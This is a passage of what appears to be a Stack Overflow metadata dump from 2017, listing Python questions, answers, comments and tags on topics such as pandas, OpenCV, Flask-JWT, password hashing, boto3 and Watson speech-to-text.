[x/num_past_frame for x in sumR] aveB_sq = [x/num_past_frame for x in sumB] aveG_sq = [x/num_past_frame for x in sumR] aveR_sq = [x/num_past_frame for x in sumR] stdB = [np.sqrt(abs(x-y**2)) for (x,y) in zip(aveB_sq,aveB)] stdG = [np.sqrt(abs(x-y**2)) for (x,y) in zip(aveG_sq,aveG)] stdR = [np.sqrt(abs(x-y**2)) for (x,y) in zip(aveR_sq,aveR)] retu…
type: Question
tagged with: numpy
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/a/47144331
answers question: http://stackoverflow.com/q/47060066
upvote count: 3
downvote count: 0
type: AcceptedAnswer
score: 3
type: Answer
has body: The Read_Ncol function reads files in NCOL format, as produced by the Large Graph Layout program. Your example works fine for me, also on Python 3.5.3 with igraph 0.7.1. &gt;&gt;&gt; g = Graph.Read_Ncol('test.csv', directed=False) &gt;&gt;&gt; g &lt;igraph.Graph object at 0x10c4844f8&gt; &gt;&gt;&gt; print(g) IGRAPH UN-- 10 9 -- + attr: name (v) + edges (vertex names): 119--205, 119--625, 124--133, 124--764, 124--813, 55--86, 205--55, 55--598, 133--764 It seems the error C0000409 means "Stack Buffer Overrun" on Windows, which probably means that your program is writing outside of the space allocated on the stack (it's different from a stack overflow, according to this Microsoft Technet Blog.)
accepted answer of: http://stackoverflow.com/q/47060066

http://stackoverflow.com/q/46968209
has body: I work in a help desk and we use SAP Communication Desktop as our phone software, though don't know how common this is within the industry. I've been developing a Python program for automating repeating parts of my work (writing tickets, searching number from ServiceNow etc.) Everything works fine, when I input the data manually, but I would love to automate the process and just have Python fetch the information from SAP when call arrives. The call number also is displayed near the task bar and I've tried searching Windows Event Viewer for it, but so far have been unable to find it. Is this possible to do in Python? Ilmari
answer count: 1
type: Question
tagged with: sap-crm
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48560017
score: 0
has title: How to retrieve incoming call number from SAP CDT in Python?

http://stackoverflow.com/q/47026828
answer count: 5
upvote count: 3
possible better answer: http://stackoverflow.com/a/47026866
tagged with: arrays
downvote count: 0
has answer: http://stackoverflow.com/a/47026982
has answer: http://stackoverflow.com/a/47026866
favorite count: 0
has answer: http://stackoverflow.com/a/47026916
type: Question
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81002434
accepted answer: http://stackoverflow.com/a/47026944
tagged with: python
has answer: http://stackoverflow.com/a/47026887
has answer: http://stackoverflow.com/a/47026944
linked to: http://stackoverflow.com/q/9383740
has body: I can't imagine I'm going to get much help from this due to my inability to explain it. But for instance I have a string like so: s = "[1,[2,2,[3,4]],5]" and I need to convert it into a nested list item as such lst = ["1",["2","2",["3","4"]],"5"] that if I were to go lst[1][2][0] it would return '3'. The way I have tried to do it was by creating a substring for every number within '[' and end of string characters and then slowly nest it back up def ParseList(strlist): if '[' in strlist: print strlist return ParseList(GetBetweenChar(strlist,'[',None)) else: return strlist however it returns:(which although maybe a good start? I dont know where to continue) [1,[2,2,[3,4]],5] 1,[2,2,[3,4]],5 2,2,[3,4]], 3,4]] which I would think I would append that to a list item but I dont know how to..
tagged with: python-2.7
tagged with: list
has title: Parsing,splicing and structuring nested strings to list in Python

http://stackoverflow.com/q/46913827
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80774813
duplicate of: http://stackoverflow.com/q/11799290
answer count: 1
type: Question
has title: Python: If-Else Statement That Depends on Calling Function
accepted answer: http://stackoverflow.com/a/46913986
has body: I've been thinking about this question for a while, and I can't seem to find any related questions to it, probably because I don't know the proper terminology for what I'm looking for. Is there any condition for an if-else statement in a function that is reliant on which other function is doing the calling? Such as: def FUNC(): if func1 called FUNC: statement elif func2 called FUNC: statement def func1(): FUNC() def func2(): FUNC() I'm not sure what purpose there would be behind doing this, but I just wanted to know if it was an available option. Thank you.
tagged with: if-statement
has answer: http://stackoverflow.com/a/46913986
has comment: http://stackoverflow.com/comment/80774823
tagged with: python
has comment: http://stackoverflow.com/comment/80775452
duplicate of: http://stackoverflow.com/q/2654113
has comment: http://stackoverflow.com/comment/80774841

http://stackoverflow.com/comment/80770505
type: AnswerComment
type: Comment
has text: Thanks it was quick ! I forgot to see that group by user was the same that to include it in the column on which to duplicate..
comment on: http://stackoverflow.com/a/46911770
score: 0

http://stackoverflow.com/comment/80771741
type: AnswerComment
has text: Thanks for the help, this was very useful!
type: Comment
comment on: http://stackoverflow.com/a/46912328
score: 0

http://stackoverflow.com/q/46917755
has comment: http://stackoverflow.com/comment/80782966
has comment: http://stackoverflow.com/comment/80782856
upvote count: 0
tagged with: function
downvote count: 2
has comment: http://stackoverflow.com/comment/80783148
answer count: 1
has answer: http://stackoverflow.com/a/46918100
favorite count: 0
type: Question
has body: def main(): plainText = input("Enter a one-word, lowercase message: ") distance = int(input("Enter the distance value: ")) code = "" for ch in plainText: ordValue = ord(ch) cipherValue = ordValue + distance if cipherValue &gt; ord('z'): cipherValue = ord('a') + distance - (ord('z') - ordValue + 1) code += chr(cipherValue) print(code) userDecrypt = input("Would you like to decrypt the text? ").lower # i want this yes answer to force the next few lines of code to run and if no then it quits the program if userDecrypt == 'yes' or userDecrypt == 'y': code = code plainText = "" for ch in code: ordValue = ord(ch) cipherValue = ordValue - distance if cipherValue &lt; ord('a'): cipherValue = ord('z') - (distance - (ord('a') - ordValue + 1)) plainText += chr(cipherValue) print(plainText) # this is where my problem lies. It won't allow this elif userDecrypt == 'no' or userDecrypt == 'n': print("Have a good day") main() The elif statement is my problem. I want to be able to run the decrypt code if the user selects yes and if no then i want the program to quit. I can get it to decode if yes but when i add the else statement i get error messages: invalid syntax. I know i am over thinking this.
has comment: http://stackoverflow.com/comment/80782882
type: UnansweredQuestion
score: -2
has comment: http://stackoverflow.com/comment/80783022
tagged with: input
tagged with: python
has title: Ask for user input, if yes do function, if no quit program

http://stackoverflow.com/comment/96262161
comment on: http://stackoverflow.com/a/47029193
type: Comment
type: AnswerComment
has text: @MeltedPenguin Yes you are right, the JS line works only in the current window in the browser.
score: 0

http://stackoverflow.com/a/46922822
answers question: http://stackoverflow.com/q/46922340
accepted answer of: http://stackoverflow.com/q/46922340
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
type: Answer
has body: I break down the steps import itertools df['Min']=list(zip(df.col1,df.col2)) df['New']=df.Min.apply(lambda x : list(itertools.product(x[0],x[1]))) df1=df.set_index('col3')['New'] df1.apply(pd.Series).stack().apply(pd.Series).reset_index().\ drop('level_1',1).rename(columns={0:'col1',1:'col2'}) Out[588]: col3 col1 col2 0 0.5 a c 1 0.5 a d 2 0.5 b c 3 0.5 b d 4 0.7 e g 5 0.7 e h 6 0.7 f g 7 0.7 f h

http://stackoverflow.com/q/47048846
has answer: http://stackoverflow.com/a/47049155
accepted answer: http://stackoverflow.com/a/47048940
score: 2
has comment: http://stackoverflow.com/comment/81044704
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47048956
has answer: http://stackoverflow.com/a/47048940
tagged with: pandas
has title: How can I output csv of groupby object?
tagged with: http://stackoverflow.com/tag/csv
answer count: 4
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47048971
upvote count: 2
has body: I get the follow data with code : import pandas as pd df = {'ID': ['H1','H2','H3','H4','H5','H6'], 'AA1': ['C','B','B','X','G','G'], 'AA2': ['W','K','K','A','B','B'], 'name':['n1','n2','n3','n4','n5','n6'] } df = pd.DataFrame(df) df.groupby('AA1').apply(lambda x:x.sort_values('name')) The ouput: AA1 AA2 ID name AA1 B 1 B K H2 n2 2 B K H3 n3 C 0 C W H1 n1 G 4 G B H5 n5 5 G B H6 n6 X 3 X A H4 n4 When I try to to_csv it will lose the first index AA1,I hope I can output the csv just like the groupby result but not the result like this: AA1 AA2 ID name 1 B K H2 n2 2 B K H3 n3 0 C W H1 n1 4 G B H5 n5 5 G B H6 n6 3 X A H4 n4 I mean ,when I open the csv file in excel I hope can see the format like the output in jupyter!
has answer: http://stackoverflow.com/a/47048971
has comment: http://stackoverflow.com/comment/81044764
has comment: http://stackoverflow.com/comment/81044792
downvote count: 0
tagged with: python

http://stackoverflow.com/a/46924895
type: Answer
answers question: http://stackoverflow.com/q/46924857
accepted answer of: http://stackoverflow.com/q/46924857
has body: You need in parameter if values in categories are lists: df_business = df_business[df_business['categories'].apply(lambda x: 'Restaurant' in x)] Or: df_business = df_business[df_business['categories'].astype(str).str.contains('Restaurant')] Sample: df_business = pd.DataFrame({'categories':[['Restaurant','Food'],['Food']], 'review_count':[4,7]}) print (df_business) categories review_count 0 [Restaurant, Food] 4 1 [Food] 7 df_business = df_business[df_business['categories'].apply(lambda x: 'Restaurant' in x)] print (df_business) categories review_count 0 [Restaurant, Food] 4
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80820326
upvote count: 3
score: 3

php
tags question: http://stackoverflow.com/q/47009388
tags question: http://stackoverflow.com/q/46947498
tags question: http://stackoverflow.com/q/46922209
tags question: http://stackoverflow.com/q/46992036
tags question: http://stackoverflow.com/q/46987911
tags question: http://stackoverflow.com/q/47005024
tag name: php
tags question: http://stackoverflow.com/q/46987339
tags question: http://stackoverflow.com/q/46988158
type: Tag

http://stackoverflow.com/q/46937757
has comment: http://stackoverflow.com/comment/80921637
tagged with: python
has comment: http://stackoverflow.com/comment/80937858
tagged with: flask-jwt
has title: Flask-jwt error with Flask-restful if request contain JSON
tagged with: flask-restful
has comment: http://stackoverflow.com/comment/80946181
has comment: http://stackoverflow.com/comment/80945957
has body: I am developing a RESTful API using Flask-restful and Flask-jwt. When I use @jwt_required() for any endpoint and I send a request containing JSON data, I do not get the error message JSON I specify. If I remove the JSON data, the request is handled properly. Here is the Code: @jwt_required() def put(self, user_id): user = UserModel.find_by_id(user_id) if user is None: return {"message": "User not found!"}, 404 Here is the Postman request: PUT /user/2 HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json Authorization: JWT xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Cache-Control: no-cache { "backdrop_image": "Sora" } And the server log: 2017-10-25 18:31:06,256 INFO sqlalchemy.engine.base.Engine (2, 1, 0) 2017-10-25 18:31:06,259 INFO sqlalchemy.engine.base.Engine ROLLBACK 127.0.0.1 - - [25/Oct/2017 18:31:06] "PUT /user/2 HTTP/1.1" 404 - If I remove the JSON: PUT /user/2 HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json Authorization: JWT xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Cache-Control: no-cache I get the expected response: { "message": "User not found!" } Here is the method being called: @classmethod def find_by_id(cls, _id): return cls.query.filter_by(id = _id).first() Update I found out that I get No handlers could be found for logger "flask_jwt" for the 1st request
type: Question
has comment: http://stackoverflow.com/comment/80946071
has comment: http://stackoverflow.com/comment/80946076
has comment: http://stackoverflow.com/comment/91882419
downvote count: 0
has comment: http://stackoverflow.com/comment/80946021
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80940988
answer count: 1
tagged with: flask
has answer: http://stackoverflow.com/a/47090025
favorite count: 0
has comment: http://stackoverflow.com/comment/80922128
score: 3
upvote count: 3

http://stackoverflow.com/comment/81002693
type: AnswerComment
comment on: http://stackoverflow.com/a/47026944
has text: that would be the output. so Input: `"[x,[2,2,[True,4]],5]"` Output: `["x",["2","2",["True","4"]],"5"]` sorry for the confusion on my part
type: Comment
score: 0

graphics
tag name: graphics
tags question: http://stackoverflow.com/q/47064174
tags question: http://stackoverflow.com/q/46986430
tags question: http://stackoverflow.com/q/46976627
type: Tag

matrix
tags question: http://stackoverflow.com/q/47050696
tags question: http://stackoverflow.com/q/46967609
tags question: http://stackoverflow.com/q/47010829
tag name: matrix
tags question: http://stackoverflow.com/q/46986585
tags question: http://stackoverflow.com/q/46959801
tags question: http://stackoverflow.com/q/46927183
tags question: http://stackoverflow.com/q/46993463
tags question: http://stackoverflow.com/q/46997036
tags question: http://stackoverflow.com/q/46918135
tags question: http://stackoverflow.com/q/47062007
tags question: http://stackoverflow.com/q/46959674
tags question: http://stackoverflow.com/q/47024608
tags question: http://stackoverflow.com/q/46923009
tags question: http://stackoverflow.com/q/46990838
tags question: http://stackoverflow.com/q/47004375
tags question: http://stackoverflow.com/q/47013837
tags question: http://stackoverflow.com/q/47033614
tags question: http://stackoverflow.com/q/47042332
tags question: http://stackoverflow.com/q/46989353
tags question: http://stackoverflow.com/q/46930268
tags question: http://stackoverflow.com/q/47050903
tags question: http://stackoverflow.com/q/46974214
tags question: http://stackoverflow.com/q/46944721
tags question: http://stackoverflow.com/q/46957212
type: Tag

http://stackoverflow.com/q/46971769
has comment: http://stackoverflow.com/comment/80893434
tagged with: opencv
has answer: http://stackoverflow.com/a/53195323
has comment: http://stackoverflow.com/comment/117637385
has comment: http://stackoverflow.com/comment/80893567
has comment: http://stackoverflow.com/comment/80966643
has comment: http://stackoverflow.com/comment/89861686
tagged with: mnist
has body: I have this type of image from that I only want to extract the characters. After binarization, I am getting this image img = cv2.imread('the_image.jpg') gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) thresh = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 9) Then find contours on this image. (im2, cnts, _) = cv2.findContours(thresh.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) cnts = sorted(cnts, key=cv2.contourArea, reverse=True) for contour in cnts[:2000]: x, y, w, h = cv2.boundingRect(contour) aspect_ratio = h/w area = cv2.contourArea(contour) cv2.drawContours(img, [contour], -1, (0, 255, 0), 2) I am getting I need a way to filter the contours so that it selects only the characters. So I can find the bounding boxes and extract roi. I can find contours and filter them based on the size of areas, but the resolution of the source images are not consistent. These images are taken from mobile cameras. Also as the borders of the boxes are disconnected. I can't accurately detect the boxes. Edit: If I deselect boxes which has an aspect ratio less than 0.4. Then it works up to some extent. But I don't know if it will work or not for different resolution of images. for contour in cnts[:2000]: x, y, w, h = cv2.boundingRect(contour) aspect_ratio = h/w area = cv2.contourArea(contour) if aspect_ratio &lt; 0.4: continue print(aspect_ratio) cv2.drawContours(img, [contour], -1, (0, 255, 0), 2)
tagged with: python
tagged with: computer-vision
has title: How to extract only characters from image?
has comment: http://stackoverflow.com/comment/89877601
has comment: http://stackoverflow.com/comment/80966051
has comment: http://stackoverflow.com/comment/89861710
downvote count: 0
has comment: http://stackoverflow.com/comment/80892014
type: UnansweredQuestion
answer count: 1
upvote count: 6
score: 6
tagged with: image-processing
has comment: http://stackoverflow.com/comment/80891397
has comment: http://stackoverflow.com/comment/80892117
has comment: http://stackoverflow.com/comment/80891314
favorite count: 0
type: Question

http://stackoverflow.com/comment/80957054
comment on: http://stackoverflow.com/a/47003636
has text: You're right @kmario23, padding with pad1 = 0, max_len - tf.size(v1) works!
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80893839
has text: `x` is integer.
comment on: http://stackoverflow.com/a/46973170
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81030135
type: Comment
type: QuestionComment
score: 0
has text: I don't think it is possible to directly set the default engine. Does setting the `engine` key word argument in your `open_dataset` and `to_netcdf` calls not work for some reason?
comment on: http://stackoverflow.com/q/47041512

http://stackoverflow.com/q/47041187
upvote count: 2
tagged with: hashlib
answer count: 0
downvote count: 0
favorite count: 0
type: Question
tagged with: hash
has title: Inconsistent hash result
type: UnansweredQuestion
tagged with: python
has body: I'm working on a basic Python 3 authentication system with passwords and optional usernames. Here's the segment I have: import hashlib import os.path from secure import BadCharacterError def setLayers(filePath, passwords, usernames=None): # sanity check if os.path.exists(filePath): raise FileExistsError if usernames is not None and len(usernames) != len(passwords): raise IndexError for name in usernames: if "|" in name: raise BadCharacterError("Username contained bad character '|'!") # Hash the passwords counter = 0 for password in passwords: salt = "" if usernames is not None: salt = hashlib.sha512(usernames[counter].encode()).hexdigest() # generate a salt hashedPassword = hashlib.sha512(salt.encode() + password.encode()).hexdigest() # hash them together passwords[counter] = hashedPassword # replace the list entry counter += 1 # write them to a file with open(filePath, "a+") as file: counter = 0 for password in passwords: if usernames is None: file.write(password) else: file.write(password + "|" + usernames[counter] + "\n") counter += 1 def checkLayer(filePath, password, username=None): # sanity check if not os.path.exists(filePath): raise FileNotFoundError # find the password hash salt = "" if username is not None: salt = hashlib.sha512(username.encode()).hexdigest() # find the salt hashedPassword = hashlib.sha512(salt.encode() + password.encode()).hexdigest() # hash them together with open(filePath, "r") as file: db = file.read().split("\n") counter = 0 if username is not None: for entry in db: entry = entry.split("|") dbPassword = entry[0] dbUsername = entry[1] if dbPassword == hashedPassword and dbUsername == username: return counter counter += 1 elif username is None: for entry in db: if hashedPassword == entry: return counter counter += 1 return False # we will only reach this point if all of the others were not matched I have a test program that will run first setLayers() and then checkLayer with appropriate parameters that should cause a match in checkLayer…
score: 2

http://stackoverflow.com/q/47015716
has answer: http://stackoverflow.com/a/47018264
answer count: 3
has title: How to detect parallelograms from the detected edge points in python
has answer: http://stackoverflow.com/a/47033391
downvote count: 0
favorite count: 0
tagged with: edge-detection
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80982156
has body: I am reading an image and trying to detect parallelogram in the image. I have created an array which contains edge points(local peaks) using Hough Transform (p = xcos(theta) + ysin(theta)). I got around 2300 edge points(X,Y) and I am not sure how to get/extract parallelogram from it. Out of 2300 edge points, some of the edge points are of circular shape, the triangular shape including parallelogram. If I start considering edge-points(X,Y) as it is then it will not work as they are not only vertices of parallelogram and edge points are in big number(2300 points). [EDIT1] I have stored the edge point in test_img and it contains the pixel value. test_img[point.getX(), point.getY()] = 255 test_img.size = 2343 After plotting above test_image "plt.imshow(test_img, cmap="gray")" I am getting image as below Any help would be highly appreciated.
has answer: http://stackoverflow.com/a/47016245
upvote count: 2
type: UnansweredQuestion
tagged with: hough-transform
tagged with: python
tagged with: computer-vision
has comment: http://stackoverflow.com/comment/80978152
score: 2

http://stackoverflow.com/q/47060621
has body: For a project, I have been attempting to transform the depth map given by libfreenect (a 480 by 640 matrix with depth values 0-255) into more usable (x,y,z) coordinates. I originally assumed that the depth variable d at each pixel represented the Euclidean distance between the sensor and point found. By representing the camera as a point, the matrix as a virtual image plane, and following the vectors from camera to pixels on the plane the distance d, I reconstructed what I thought were the actual coordinates. (Each point is located at distance d along the ray cast through the corresponding pixel). As is evident below in Figure 1, the reconstructed room map (shown from above) is distorted. Figure 1: d is Euclidean Distance If I instead assume d represents the forward distance from camera to each point, the result is shown below, in Figure 2. Note the triangular shape, since measured points are located along rays projected from the robot's position. The x and y coordinates are of course scaled based on the depth, and z is the depth value d. Figure 2: d is depth from camera, or z coordinate For reference, here is the map generated if I do not scale the x and y coordinates by the depth, assume d is the z coordinate, and plot(x,y,z). Note the rectangular shape of the room map, since points are not assumed to be located along rays cast from the sensor. Figure 3: Original Image Based on the above images, it appears that either Figure 2 or 3 could be correct. Does anyone know what preprocessing libfreenect does on captured data points? I have looked online, but haven't found documentation regarding how depth is preprocessed before being stored in this matrix. Thanks for any help in advance, and I would be glad to supply any additional required information.
upvote count: 4
has title: Python's libfreenect Kinect 1 Depth Map Data Format
tagged with: kinect
downvote count: 0
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/47061994
score: 4
tagged with: openkinect
favorite count: 0
type: Question
tagged with: python

http://stackoverflow.com/q/46966787
score: 3
has body: I'm trying to create a small Python program that would let me get text in real time using my mic from the Watson server similar to how it works here. This is the code I have came up with but it gets the text after I finish recording: import pyaudio import json from watson_developer_cloud import SpeechToTextV1 CHUNK = 1024 FORMAT = pyaudio.paInt16 CHANNELS = 2 RATE = 44100 RECORD_SECONDS = 10 p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) print("* recording") frames = [] for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)): data = stream.read(CHUNK) frames.append(data) print("* done recording") stream.stop_stream() stream.close() p.terminate() data_feed = b''.join(frames) speech_to_text = SpeechToTextV1( username='secret', password='secret too', x_watson_learning_opt_out=False ) result = speech_to_text.recognize(data_feed, content_type="audio/l16;rate=44100;channels=2", word_confidence=True, max_alternatives=4, word_alternatives_threshold=0.5, model="en-US_BroadbandModel", continuous=True) j = json.dumps(result, indent=2) print(j)
has comment: http://stackoverflow.com/comment/80935367
upvote count: 3
has comment: http://stackoverflow.com/comment/80935337
answer count: 1
tagged with: speech-to-text
tagged with: python
has title: Continuous Real Time Speech to Text with Watson for Python
has comment: http://stackoverflow.com/comment/80934311
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47003860
type: UnansweredQuestion
downvote count: 0
tagged with: websocket
tagged with: machine-learning
tagged with: ibm-watson

lasagne
tags question: http://stackoverflow.com/q/46997984
tag name: lasagne
type: Tag

http://stackoverflow.com/q/46944504
has comment: http://stackoverflow.com/comment/80836701
type: Question
has comment: http://stackoverflow.com/comment/80869276
tagged with: tkinter
answer count: 0
type: UnansweredQuestion
tagged with: show
tagged with: python
has body: my program has a page(main page) that has 5 radio button in it and a button "ok",and I have 5 other Frame. I want my program to go to these frames after clicking the "ok" ( based on the chosen radio button). when the "ok" is clicked it will call a lambda and get the value of chosen radiobutton and based on this value put the correct string (veg) which represent the name of the page we want to go to. I don't know where to call this: controller.show_frame(veg) if i put : controller.show_frame(veg) in the okclick function I receive this error: Exception in Tkinter callback Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\tkinter_init_.py", line 1699, in call return self.func(*args) File "C:/Users/AI/PycharmProjects/KBS/alaki.py", line 37, in button2 = ttk.Button(self, command=lambda : okclick(v) ,text='OK', width=25) File "C:/Users/AI/PycharmProjects/KBS/alaki.py", line 65, in okclick controller.show_frame(veg) NameError: name 'controller' is not defined here is the code: import tkinter as tk from tkinter import ttk from win32print import StartPage class KBSapp(tk.Tk): def __init__(self, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) tk.Tk.iconbitmap(self,default="icon.ico") tk.Tk.wm_title(self, "Diseases and pests of vegetable crops") container = tk.Frame(self, width=200, height=200, bg='black') container.pack(side="top", fill="both", expand=True) container.grid_rowconfigure(0, weight=1) container.grid_columnconfigure(0, weight=1) self.frames = {} for F in (StartPage,carrot,celery, potato, wheat, bean): frame = F(container, self) self.frames[F] = frame frame.grid(row=0, column=0, sticky="nsew") self.show_frame(StartPage) def show_frame(self, cont): frame = self.frames[cont] frame.tkraise( ) class StartPage(tk.Frame): def __init__(self, parent, controller): tk.Frame.__init__(self, parent) label = tk.Label(self, width=0, height=20) label.pack() button2 = ttk.Button(self, command=lambda : okclick(v) ,text='OK', width=25) button2.pack( ) v = …
has comment: http://stackoverflow.com/comment/80880369
score: 0
tagged with: radio-button
has title: my program has a page(main page) that has 5 radio button in it and a button "ok",and I have 5 other Frame

http://stackoverflow.com/q/46987108
answer count: 2
has comment: http://stackoverflow.com/comment/80921032
downvote count: 0
has title: Detecting state changes in Python from Arduino
upvote count: 1
tagged with: arduino
has answer: http://stackoverflow.com/a/46987188
possible better answer: http://stackoverflow.com/a/46987188
favorite count: 0
has body: I am trying to detect if a switch is ON or OFF from and Arduino, send the data into Python and display the result in a GUI The following Python code will read the serial data into Python as follows; (Not my code i must add) import serial ser = serial.Serial('com3',9600) ser.flushInput() ser.flushOutput() while True: ser.flushInput() ser.flushOutput() passcode = ser.read() if passcode == b'1': print("Switch is ON") if passcode == b'0': print("Switch if OFF") The results appears as the following on the Python IDE [depending on the result] which is the serial output result Switch if OFF Switch if OFF Switch if OFF Switch is ON Switch is ON Switch is ON Now my Question ? Is there any way i can just get "one" reading saying "Switch is On" or "Switch is off" [not the continuous serial result] into Python and Ideally display the result into Tkinter
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46987985
accepted answer: http://stackoverflow.com/a/46987985
score: 1
tagged with: python
type: Question

http://stackoverflow.com/comment/80974786
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47010569
type: AnswerComment
has text: But that's not what I'm saying... I say that Python's interpreter is easier to port to new system because it is written in C, which has a good record of portability (whereas Java doesn't). JVM is installed on far, far fewer computers in the wild than Python. There are very few Linux distros which bundle Java in their installations, while Python is usually there because package managers are often written in Python (dnf and apt for example). Python is embedded deep in Linux system code, while Java plays no role there, so it's much more common to find Python than Java in that environment.

http://stackoverflow.com/a/47060982
upvote count: 16
has comment: http://stackoverflow.com/comment/128032453
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47060379
has comment: http://stackoverflow.com/comment/81070275
has body: Use the following Client.put_item example for the Client API: import boto3 client = boto3.client('dynamodb') item1 = { "id": { "S": "1", }, "name": { "S": "Testing" }, "age": { "N": "22" }, "grades": { "L": [ {"N": "3.50"}, {"N": "3.1415926"} ] } } client.put_item(TableName='test', Item=item1); Or use the following Table.put_item example for the Resource API: import boto3 dynamodb = boto3.resource('dynamodb') table = dynamodb.Table('test') item2 = { "id": "2", "name": "Testing2", "age": 22, "grades": [ decimal.Decimal('3.50'), decimal.Decimal('3.1415926') ] } table.put_item(Item=item2) It's very easy to find that you are using a Resource-level object (such as Table) but accidentally looking at the Client-level API documentation because the methods unfortunately have the same names (e.g. put_item). See a related post on when to use a boto3 Client vs a Resource. The key difference here is that the Resource API marshals/unmarshals data to/from native Python data types automatically, while the Client API does not.
answers question: http://stackoverflow.com/q/47060379
type: Answer
score: 16

http://stackoverflow.com/q/46942721
tagged with: character-encoding
linked to: http://stackoverflow.com/q/77808931
has answer: http://stackoverflow.com/a/46942819
has comment: http://stackoverflow.com/comment/80832959
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/77943303
type: UnansweredQuestion
has body: According to the Wikipedia page for Code Page 437 the byte values \x01 through \x1f should decode to graphic characters, e.g. b'\x01' equates to ☺ '\u263A'. But that's not what decode produces: &gt;&gt;&gt; b'\x01'.decode('cp437') '\x01' That was Python 3.6 but 2.7 does the same, for all 31 byte values.
downvote count: 0
tagged with: python
score: 4
favorite count: 0
has title: Is CP437 decoding broken for control characters?
answer count: 3
has answer: http://stackoverflow.com/a/56096186

google-python-api
tags question: http://stackoverflow.com/q/47025652
tag name: google-python-api
type: Tag
tags question: http://stackoverflow.com/q/46948326

correlation
tags question: http://stackoverflow.com/q/46976710
tag name: correlation
type: Tag
tags question: http://stackoverflow.com/q/47002168

http://stackoverflow.com/comment/80869889
has text: @DavidG Sorry about the long example, I was trying to show why I needed to change the colors, but I should have made it shorter.
comment on: http://stackoverflow.com/q/46961042
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47038538
type: AnsweredQuestion
has title: Insert matplotlib images into a pandas dataframe
tagged with: pandas
answer count: 1
downvote count: 0
has body: PURPOSE: I am currently working with rdkit to colour the structures of my molecules according to rdkit.Chem.Draw.SimilarityMaps. Now, I would like to use the matplotlib images SimilarityMaps function to introduce them in a pandas dataframe and export this table in the form of an html file. CODE: I tried to do that with the following code import pandas as pd from rdkit import Chem from rdkit.Chem import Draw from rdkit.Chem.Draw import SimilarityMaps from rdkit.Chem.Draw import IPythonConsole #Needed to show molecules from rdkit.Chem.Draw.MolDrawing import MolDrawing, DrawingOptions df = pd.DataFrame({'smiles':['Nc1nc(NC2CC2)c3ncn([C@@H]4C[C@H](CO)C=C4)c3n1','CCCC(=O)Nc1ccc(OCC(O)CNC(C)C)c(c1)C(C)=O','CCN(CC)CCNC(=O)C1=CC=C(C=C1)NC(=O)C','CC(=O)NC1=CC=C(C=C1)O','CC(=O)Nc1sc(nn1)[S](N)(=O)=O']}) def getSim(smi): mol = Chem.MolFromSmiles(smi) refmol = Chem.MolFromSmiles('c1ccccc1') fp = SimilarityMaps.GetMorganFingerprint(mol, fpType='bv') fig, maxweight = SimilarityMaps.GetSimilarityMapForFingerprint(refmol, mol, SimilarityMaps.GetMorganFingerprint) return fig df['map'] = df['smiles'].map(getSim) df.to_html('/.../test.html') When I open the file test.html, the map column contains the information "Figure (200x200)". I check if my dataframe map column contains object: it's OK in python but not in html file. QUESTION: I'm not sure how to get a dataframe with images and I'd like to have the help of the community to clarify this subject. Thanks in advance
favorite count: 0
type: Question
tagged with: rdkit
tagged with: matplotlib
has answer: http://stackoverflow.com/a/47043380
accepted answer: http://stackoverflow.com/a/47043380
tagged with: python
score: 4
upvote count: 4

http://stackoverflow.com/comment/93897492
type: AnswerComment
has text: @jkff and what could be done if the pipeline is a streaming pipeline? In this case is not possible to run 2 pipeline in which the second wait for the first to finish, isn't?
type: Comment
comment on: http://stackoverflow.com/a/46993753
score: 0

http://stackoverflow.com/a/46957407
type: AcceptedAnswer
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/46957254
accepted answer of: http://stackoverflow.com/q/46957254
has comment: http://stackoverflow.com/comment/80864564
type: Answer
